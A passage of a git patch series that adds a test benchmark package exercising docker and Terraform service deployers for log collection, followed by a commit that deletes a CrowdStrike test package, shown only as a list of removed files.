+      description: Source IP address.
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
new file mode 100644
index 0000000000..a2c2e275b6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
@@ -0,0 +1,34 @@
+title: Benchmark httpjson data stream
+type: logs
+streams:
+  - input: httpjson
+    title: Collect logs via HTTP JSON
+    description: Collect benchmark events via httpjson input.
+    template_path: httpjson.yml.hbs
+    vars:
+      - name: url
+        type: url
+        title: URL
+        required: true
+        show_user: true
+      - name: interval
+        type: text
+        title: Interval
+        default: 5s
+        required: true
+        show_user: true
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - multi_deployer-httpjson
+      - name: preserve_original_event
+        type: bool
+        title: Preserve original event
+        required: true
+        show_user: true
+        default: false
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs
new file mode 100644
index 0000000000..cc801fea22
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs
@@ -0,0 +1,4 @@
+paths:
+{{#each paths as |path i|}}
+  - {{path}}
+{{/each}}
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..f2a93c3fd0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,21 @@
+---
+description: Pipeline for multi_deployer logfile data stream.
+processors:
+  - set:
+      field: event.kind
+      value: event
+  - set:
+      field: event.dataset
+      value: multi_deployer.logfile
+  - set:
+      field: event.module
+      value: multi_deployer
+on_failure:
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: error.message
+      value: >-
+        Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}"
+        in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}"
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml
new file mode 100644
index 0000000000..41ab49d9d4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml
@@ -0,0 +1,29 @@
+- name: data_stream.type
+  type: constant_keyword
+  description: Data stream type.
+- name: data_stream.dataset
+  type: constant_keyword
+  description: Data stream dataset.
+- name: data_stream.namespace
+  type: constant_keyword
+  description: Data stream namespace.
+- name: event.module
+  type: constant_keyword
+  description: Event module.
+  value: multi_deployer
+- name: event.dataset
+  type: constant_keyword
+  description: Event dataset.
+  value: multi_deployer.logfile
+- name: '@timestamp'
+  type: date
+  description: Event timestamp.
+- name: input.type
+  type: keyword
+  description: Type of Filebeat input.
+- name: log.file.path
+  type: keyword
+  description: Full path to the log file this event came from.
+- name: log.offset
+  type: long
+  description: Offset of the entry in the log file.
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml
new file mode 100644
index 0000000000..4ecb979bdf
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml
@@ -0,0 +1,6 @@
+- name: multi_deployer.logfile
+  type: group
+  fields:
+    - name: message
+      type: text
+      description: Raw log line.
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml
new file mode 100644
index 0000000000..279aa6f9f6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml
@@ -0,0 +1,31 @@
+title: Benchmark logfile data stream
+type: logs
+streams:
+  - input: filestream
+    title: Collect logs via filestream
+    description: Collect benchmark events via filestream input.
+    template_path: filestream.yml.hbs
+    vars:
+      - name: paths
+        type: text
+        title: Paths
+        multi: true
+        required: true
+        show_user: true
+        default:
+          - /var/log/logfile-*.log
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - multi_deployer-logfile
+      - name: preserve_original_event
+        type: bool
+        title: Preserve original event
+        required: true
+        show_user: true
+        default: false
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md b/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md
new file mode 100644
index 0000000000..fb5302bfb7
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md
@@ -0,0 +1,6 @@
+# Multi-Deployer Benchmark
+
+Test package that exercises both `docker` and `tf` service deployers in system benchmarks.
+
+- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server.
+- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required).
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
new file mode 100644
index 0000000000..210c3d4091
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
@@ -0,0 +1,24 @@
+format_version: "3.5.8"
+name: multi_deployer
+title: Multi-Deployer Benchmark
+version: "0.1.0"
+description: Test package for system benchmarks exercising both docker and tf service deployers.
+type: integration
+categories: ["custom"]
+conditions:
+  kibana:
+    version: "^8.0.0 || ^9.0.0"
+policy_templates:
+  - name: multi_deployer
+    title: Multi-Deployer
+    description: Collect logs via httpjson (docker) and filestream (tf) inputs.
+    inputs:
+      - type: httpjson
+        title: Collect logs via HTTP JSON
+        description: Collecting logs via httpjson input.
+      - type: filestream
+        title: Collect logs via filestream
+        description: Collecting logs via filestream input.
+owner:
+  github: elastic/integrations
+  type: elastic

From 0cfd434e1ea90b913349e13143e1d273d735854c Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 19 Mar 2026 16:41:48 +0530
Subject: [PATCH 06/19] Delete test crowdstrike package

---
 .../_dev/benchmark/system/alert-benchmark.yml |    27 -
 .../system/alert-benchmark/config.yml         |   105 -
 .../system/alert-benchmark/fields.yml         |   208 -
 .../system/alert-benchmark/template.ndjson    |    97 -
 .../system/deploy/docker/docker-compose.yml   |    16 -
 .../system/deploy/docker/files/config.yml     |   128 -
 .../_dev/benchmark/system/deploy/tf/env.yml   |    10 -
 .../deploy/tf/files/fdr-0_aidmaster.log       |     5 -
 .../system/deploy/tf/files/fdr-0_userinfo.log |     1 -
 .../system/deploy/tf/files/fdr-sample.log     |   128 -
 .../_dev/benchmark/system/deploy/tf/main.tf   |   125 -
 .../benchmark/system/deploy/tf/outputs.tf     |     3 -
 .../benchmark/system/deploy/tf/variables.tf   |    48 -
 .../_dev/benchmark/system/fdr-benchmark.yml   |    26 -
 .../benchmark/system/fdr-benchmark/config.yml |     9 -
 .../benchmark/system/fdr-benchmark/fields.yml |     8 -
 .../system/fdr-benchmark/template.ndjson      |     5 -
 .../_dev/build/build.yml                      |     3 -
 .../_dev/build/docs/README.md                 |   265 -
 .../_dev/deploy/docker/docker-compose.yml     |    41 -
 .../_dev/deploy/docker/files/config-alert.yml |   475 -
 .../_dev/deploy/docker/files/config-host.yml  |   769 -
 .../docker/files/config-vulnerability.yml     |   643 -
 .../changelog.yml                             |   999 --
 .../alert/_dev/benchmark/pipeline/config.yml  |     1 -
 .../_dev/benchmark/pipeline/test-alert.log    |    10 -
 .../alert/_dev/test/pipeline/test-alert.log   |    10 -
 .../pipeline/test-alert.log-expected.json     |  2033 ---
 .../_dev/test/pipeline/test-common-config.yml |     4 -
 .../_dev/test/policy/test-default.expected    |   134 -
 .../alert/_dev/test/policy/test-default.yml   |     9 -
 .../_dev/test/policy/test-traced.expected     |   134 -
 .../alert/_dev/test/policy/test-traced.yml    |    10 -
 .../_dev/test/system/test-common-config.yml   |    15 -
 .../alert/agent/stream/cel.yml.hbs            |   130 -
 .../elasticsearch/ingest_pipeline/default.yml |  2829 ----
 .../data_stream/alert/fields/base-fields.yml  |    20 -
 .../data_stream/alert/fields/beats.yml        |     6 -
 .../data_stream/alert/fields/ecs.yml          |     9 -
 .../data_stream/alert/fields/fields.yml       |   620 -
 .../data_stream/alert/manifest.yml            |    94 -
 .../data_stream/alert/sample_event.json       |   364 -
 .../fdr/_dev/benchmark/pipeline/config.yml    |     1 -
 ...-fdr-data-protection-detection-summary.log |     1 -
 .../test-fdr-epp-detection-summary.log        |    13 -
 .../fdr/_dev/benchmark/pipeline/test-fdr.log  |   138 -
 .../pipeline/test-fdrv2-notmanaged.log        |     1 -
 .../_dev/benchmark/pipeline/test-linux.log    |     4 -
 .../_dev/benchmark/pipeline/test-macos.log    |    18 -
 .../_dev/benchmark/pipeline/test-windows.log  |   121 -
 .../data_stream/fdr/_dev/deploy/tf/env.yml    |    10 -
 .../_dev/deploy/tf/files/fdr-0_aidmaster.log  |     5 -
 .../_dev/deploy/tf/files/fdr-0_userinfo.log   |     1 -
 .../fdr/_dev/deploy/tf/files/fdr-sample.log   |   128 -
 .../data_stream/fdr/_dev/deploy/tf/main.tf    |   125 -
 .../data_stream/fdr/_dev/deploy/tf/outputs.tf |     3 -
 .../fdr/_dev/deploy/tf/variables.tf           |    48 -
 .../_dev/test/pipeline/test-common-config.yml |    12 -
 .../fdr/_dev/test/pipeline/test-data.log      |     5 -
 .../test/pipeline/test-data.log-expected.json |   487 -
 .../_dev/test/pipeline/test-fdr-cspm-ioa.log  |     1 -
 .../test-fdr-cspm-ioa.log-expected.json       |   125 -
 .../pipeline/test-fdr-cspm-iom-evaluation.log |     1 -
 ...-fdr-cspm-iom-evaluation.log-expected.json |   110 -
 .../_dev/test/pipeline/test-fdr-cspm-iom.log  |     2 -
 .../test-fdr-cspm-iom.log-expected.json       |   154 -
 ...-fdr-data-protection-detection-summary.log |     1 -
 ...ection-detection-summary.log-expected.json |   133 -
 .../test-fdr-epp-detection-summary.log        |    14 -
 ...dr-epp-detection-summary.log-expected.json |  2101 ---
 .../test-fdr-fim-rule-matched-enriched.log    |     4 -
 ...im-rule-matched-enriched.log-expected.json |   264 -
 .../test-fdr-fim-rule-matched-linux.log       |     4 -
 ...r-fim-rule-matched-linux.log-expected.json |   636 -
 .../test-fdr-fim-rule-matched-windows.log     |     2 -
 ...fim-rule-matched-windows.log-expected.json |   297 -
 .../test-fdr-lengthy-field-delete.log         |     1 -
 ...st-fdr-lengthy-field-delete.log-config.yml |     7 -
 ...fdr-lengthy-field-delete.log-expected.json |    80 -
 .../pipeline/test-fdr-lengthy-field-index.log |     1 -
 ...est-fdr-lengthy-field-index.log-config.yml |     6 -
 ...-fdr-lengthy-field-index.log-expected.json |    81 -
 .../fdr/_dev/test/pipeline/test-fdr.log       |   138 -
 .../test/pipeline/test-fdr.log-expected.json  | 12580 ----------------
 .../test/pipeline/test-fdrv2-notmanaged.log   |     1 -
 .../test-fdrv2-notmanaged.log-expected.json   |    64 -
 .../fdr/_dev/test/pipeline/test-linux.log     |     5 -
 .../pipeline/test-linux.log-expected.json     |   556 -
 .../fdr/_dev/test/pipeline/test-macos.log     |    18 -
 .../pipeline/test-macos.log-expected.json     |  1764 ---
 .../_dev/test/pipeline/test-tags-formats.log  |     4 -
 .../test-tags-formats.log-expected.json       |    88 -
 .../fdr/_dev/test/pipeline/test-user-map.log  |     1 -
 .../pipeline/test-user-map.log-expected.json  |    43 -
 .../fdr/_dev/test/pipeline/test-windows.log   |   121 -
 .../pipeline/test-windows.log-expected.json   | 11696 --------------
 .../_dev/test/policy/test-default.expected    |   250 -
 .../fdr/_dev/test/policy/test-default.yml     |    10 -
 .../_dev/test/system/test-default-config.yml  |    16 -
 .../fdr/agent/stream/aws-s3.yml.hbs           |   283 -
 .../fdr/agent/stream/stream.yml.hbs           |   104 -
 .../ingest_pipeline/categorize.yml            |  1875 ---
 .../ingest_pipeline/cspm_ioa.yml              |   273 -
 .../ingest_pipeline/cspm_iom.yml              |   503 -
 .../data_protection_detection_summary.yml     |   360 -
 .../elasticsearch/ingest_pipeline/default.yml |  2857 ----
 .../ingest_pipeline/epp_detection_summary.yml |   260 -
 .../ingest_pipeline/fim_rule_matched.yml      |   397 -
 .../ingest_pipeline/inbound_network.yml       |   109 -
 .../ingest_pipeline/outbound_network.yml      |   109 -
 .../data_stream/fdr/fields/base-fields.yml    |    54 -
 .../data_stream/fdr/fields/ecs.yml            |   255 -
 .../data_stream/fdr/fields/fields.yml         |  2060 ---
 .../data_stream/fdr/manifest.yml              |   296 -
 .../data_stream/fdr/sample_event.json         |   213 -
 .../docs/README.md                            |  2281 ---
 .../img/crowdstrike-alert-dashboard.png       |   Bin 791493 -> 0 bytes
 .../img/crowdstrike-host-dashboard.png        |   Bin 213390 -> 0 bytes
 .../crowdstrike-vulnerability-dashboard.png   |   Bin 599868 -> 0 bytes
 .../img/cs-falcon1.png                        |   Bin 216782 -> 0 bytes
 .../img/cs-fdr1.png                           |   Bin 293841 -> 0 bytes
 .../img/cs-overview1.png                      |   Bin 223737 -> 0 bytes
 .../img/logo-integrations-crowdstrike.svg     |     1 -
 .../img/siem-alerts-cs.jpg                    |   Bin 399141 -> 0 bytes
 .../img/siem-events-cs.jpg                    |   Bin 523409 -> 0 bytes
 .../system_benchmark_crowdstrike/manifest.yml |   164 -
 .../validation.yml                            |     7 -
 127 files changed, 55538 deletions(-)
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-vulnerability-dashboard.png
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-falcon1.png
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-fdr1.png
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-overview1.png
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-events-cs.jpg
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml

